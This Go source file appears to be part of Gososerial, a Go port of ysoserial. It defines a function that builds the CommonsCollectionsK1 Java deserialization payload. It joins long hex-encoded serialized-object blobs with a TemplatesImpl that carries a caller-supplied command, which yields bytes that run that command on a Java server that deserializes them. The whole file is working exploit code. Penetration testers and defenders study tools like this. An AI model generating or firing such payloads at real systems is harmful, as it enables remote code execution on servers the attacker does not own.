package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CCK1 = "CommonsCollectionsK1"

func GetCommonsCollectionsK1(cmd string) []byte {
	globalPrefix := "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000" +
		"246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010" +
		"00000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657" +
		"976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A61" +
		"76612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707" +
		"372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74" +
		"632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744" +
		"E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B42" +
		"5B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124" +
		"C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C" +
		"6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD191" +
		"56767DB37020000787000000002757200025B42ACF317F8060854E00200007870"
	templateImpl := GetKoalrTemplateImpl(cmd)
	templateImplStr := hex.EncodeToString(templateImpl)
	length := len(templateImpl)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7571007E000E000001D4CAFEBABE00000032001B0A00030015070017070018070019010" +
		"01073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669" +
		"EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D626572546" +
		"1626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C49" +
		"6E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F47616" +
		"46765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A00" +
		"0B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6" +
		"F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C" +
		"6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730021000200030" +
		"00100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001" +
		"000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F00120" +
		"0000002001300000002001400110000000A000100020016001000097074000450776E72707701007873" +
		"72002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A7" +
		"94D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F" +
		"6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E617" +
		"0616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B6572" +
		"5472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C6" +
		"16E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00095B000B69506172616D547970" +
		"657371007E00087870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020" +
		"00078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E43" +
		"6C6173733BAB16D7AECBCD5A990200007870000000007371007E00003F4000000000000C77080000001" +
		"00000000078787400017478"
	temp := globalPrefix + lenStr + templateImplStr + globalSuffix
	data, _ := hex.DecodeString(temp)
	return data
}
